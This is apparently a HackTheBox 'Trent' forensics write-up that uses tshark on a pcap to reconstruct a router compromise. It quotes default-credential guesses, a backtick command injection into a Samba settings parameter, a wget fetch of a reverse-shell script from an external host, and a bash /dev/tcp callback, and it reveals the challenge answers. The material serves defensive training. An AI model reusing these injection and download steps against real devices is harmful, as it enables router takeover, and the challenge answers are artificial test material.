// HackTheBox  ·  writeup

Trent

HackTheBox Medium TSharkWireshark
DFIR

Scenario

You’ll analyze router logs from a firmware prone to OS Command Injection. Discover the attacker’s initial entry using default router credentials to successfully exploiting the vulnerable firmware and attempting to upload a reverse shell.

Executive Summary

An internal host logged into a router’s web admin interface after two failed guesses with default credentials, then succeeded with an empty password. From the authenticated session the attacker abused a vulnerable settings handler on the router’s apply.cgi endpoint, injecting shell commands inside backticks into a USB-share parameter. They proved execution with a harmless identity command, then repeatedly tried to pull a reverse-shell script from an external web server with wget. A malformed injection returned an error from the router before a correct one landed, and the script’s body shows the callback address of the attacker’s listener.

Artifacts

Timestamp note: Q4 wants a UTC time to the second. Wireshark’s default shows local time, so set View > Time Display Format > UTC Date and Time of Day, or use -t ud in tshark.

Initial Access

Q1 — From what IP address did the attacker initially launched their activity?

List the HTTP requests in the capture and look at who talks to the router. Every login attempt and every exploit POST aimed at the router at 192.168.10.1 comes from a single internal client, so that client is the attacker’s starting point.

tshark -r trent.pcap -Y 'http.request.method == "POST"' -T fields -e frame.number -e ip.src -e ip.dst -e http.request.uri
Click flag to reveal 192.168.10.2
Q3 — How many failed login attempts did the attacker try before successfully logging into the router?

Walk the login POST requests in order from Q1’s client. The first two (admin/admin and admin/password) get the login page back, which is a failure. The third attempt is answered with a redirect to /index.asp, the authenticated landing page. Count the failures before that redirect.

tshark -r trent.pcap -Y 'http.request.method == "POST" && ip.src == 192.168.10.2' -T fields -e frame.number -e frame.time -e http.request.uri -e urlencoded-form.value
Click flag to reveal 2
Q4 — At what UTC time did the attacker successfully log into the routers web admin interface?

Take the successful third POST from Q3 (frame 22826) and read the time of the response that carries the redirect to /index.asp. Display the time in UTC so the answer needs no conversion.

tshark -r trent.pcap -t ud -Y 'frame.number >= 22826 && http.response' -T fields -e frame.number -e frame.time -e http.response.code -e http.location | head

Gotcha: The request and its response are a fraction of a second apart. The accepted time is the second of the response that accepts the login.

Click to reveal answer 2024-05-01 15:53:27
Q5 — How many characters long was the password used to log in successfully?

Open the successful login POST from Q4 with -V and read the form fields. log_pass is empty: the router accepted the default admin user with a blank password.

tshark -r trent.pcap -Y 'frame.number == 22826' -V | grep -E 'log_(user|pass)'

Tip: An empty value is a valid answer here, so the length is zero rather than a missing field.

Click flag to reveal 0

Discovery

Q2 — What is the model name of the compromised router?

The router’s own pages carry its identity. Export the HTML bodies returned to the attacker’s client and search for the model variable that the web UI sets in its JavaScript.

tshark -r trent.pcap -Y 'http.response && ip.src == 192.168.10.1' --export-objects http,objs && grep -rh 'var model' objs
Click flag to reveal TEW-827DRU
Q6 — What is the current firmware version installed on the compromised router?

The model name is on most pages, but the firmware version only shows up in the status page the attacker loaded after logging in (adm_status.asp). Its fwVer span holds the version followed by the build date.

grep -rh 'fwVer' objs

Hint: Only the status page carries it. If a global search of other responses finds nothing, load the post-login pages.

Click to reveal answer 2.10

Execution

Q7 — Which HTTP parameter was manipulated by the attacker to get remote code execution on the system?

After the login, the client sends several POST requests to apply.cgi. In them, one field of the USB-share (Samba) settings contains shell metacharacters: a command wrapped in backticks. That field is the injection point.

tshark -r trent.pcap -Y 'http.request.method == "POST" && http.request.uri contains "apply.cgi"' -T fields -e frame.number -e urlencoded-form.key -e urlencoded-form.value | grep '`'
Click flag to reveal usbapps.config.smb_admin_name
Q8 — What is the CVE number associated with the vulnerability that was exploited in this attack?

This one comes from reference research, not the capture. The Q2 model, the Q6 firmware version and the Q7 parameter point to the OS command injection in the Trendnet TEW-827DRU firmware, tracked by SentinelOne’s vulnerability database as the CVE below. The answer was reasoned from that single source and the format mask rather than read from an artifact, and HTB accepted it.

Click to reveal answer CVE-2024-28353
Q9 — What was the first command the attacker executed by exploiting the vulnerability?

Order the injected POST requests by frame number. The earliest one (frame 44975) sets the vulnerable parameter to admin plus a backticked command, a harmless identity check used to confirm execution.

tshark -r trent.pcap -Y 'frame.number == 44975' -T fields -e urlencoded-form.key -e urlencoded-form.value
Click flag to reveal whoami

Command and Control

Q10 — What command did the actor use to initiate the download of a reverse shell to the router from a host outside the network?

Keep reading the injected values after Q9. A later POST (frame 47681) carries a backticked wget against an external address on port 8000, fetching a small shell script.

tshark -r trent.pcap -Y 'frame.number == 47681' -T fields -e urlencoded-form.key -e urlencoded-form.value
Click to reveal answer wget http://35.159.25.253:8000/a1l4m.sh
Q11 — Multiple attempts to download the reverse shell from an external IP failed. When the actor made a typo in the injection, what response message did the server return?

Compare the injected values of the wget attempts from Q10. One of them is missing its closing backtick, so the injection is malformed. Read the router’s response to that request (frame 51885): it is an HTTP 403 with a short body.

tshark -r trent.pcap -Y 'frame.number == 51885' -V | grep -iE 'HTTP/1|forbidden'

Gotcha: The failure is not a 500 or a shell error. The router’s own handler rejects the malformed request with a 403 page, so look at the body text, not just the status code.

Click flag to reveal Access to this resource is forbidden
Q12 — What was the IP address and port number of the command and control (C2) server when the actor's reverse shell eventually did connect? (IP:Port)

The pcap contains the HTTP download of a1l4m.sh from the attacker’s web server on port 8000. Follow that TCP stream to read the script. It is a bash -i reverse shell redirected to /dev/tcp/<ip>/<port>, and the listener port differs from the 8000 used for hosting.

tshark -r trent.pcap -Y 'http.request.uri contains "a1l4m.sh"' -T fields -e tcp.stream
tshark -r trent.pcap -q -z follow,tcp,ascii,<stream>

Tip: Don’t answer with the web server port from Q10. That port served the script, while the shell calls back to a different one.

Click to reveal answer 35.159.25.253:41143

Attack Summary

PhaseAction
Initial AccessInternal host tries admin/admin and admin/password against the router login, both fail
Initial AccessThird attempt with the admin user and an empty password succeeds
DiscoveryAttacker browses post-login pages, including the status page that exposes model and firmware
ExecutionBackticked command injected into the USB-share admin name parameter on apply.cgi
ExecutionFirst injected command is whoami, confirming code execution
Command and ControlSeveral wget injections try to pull a1l4m.sh from an external web server
Command and ControlA malformed injection returns a 403 from the router
Command and ControlScript retrieved; it opens a bash -i reverse shell to the attacker’s listener

IOCs

TypeValue
IP (attacker, internal)192.168.10.2
IP (router)192.168.10.1
IP (staging and C2)35.159.25[.]253
URLhxxp[://]35[.]159[.]25[.]253[:]8000/a1l4m[.]sh
C235.159.25[.]253:41143
Parameterusbapps.config.smb_admin_name

MITRE ATT&CK

TechniqueIDDescription
Valid Accounts: Default AccountsT1078.001Router login with the default admin user and an empty password
Exploit Public-Facing ApplicationT1190OS command injection through the router’s apply.cgi handler
Command and Scripting Interpreter: Unix ShellT1059.004Backticked shell commands, then a bash -i reverse shell
Ingress Tool TransferT1105wget of a1l4m.sh from an external host

Defender Takeaways

Default credentials on a management interface are a complete bypass. The login accepted admin with no password after two guesses. Forcing a password change at first setup, and blocking the admin interface from user networks, removes the entry point for everything that followed.

Cleartext HTTP admin traffic hands the attacker’s every move to anyone capturing it. Here that works for the defender: the full exploit, the parameter and the payload are readable in the pcap. Keep captures or flow logs on router segments, because they were the only evidence of this intrusion.

Command injection leaves a very recognisable shape on the wire. Backticks, $( or ; inside form values sent to apply.cgi, especially in a field like a share admin name, should trip an IDS rule. The whoami probe came before any payload, so an alert on that first request would have given warning.

Routers should not be able to reach arbitrary internet hosts. The download of a1l4m.sh and the callback on a high port both left the network unchecked. Egress filtering for the router and alerts on outbound wget to non-vendor addresses would have broken the final stage, and patching to a fixed firmware for the CVE removes the injection itself.

Conclusion

The attacker went from a blank-password login to a callback shell on a consumer router with a single injected parameter, and the failed attempts along the way (a typo and a 403) are the only noise in the whole chain. Default credentials plus an unpatched firmware did all the work.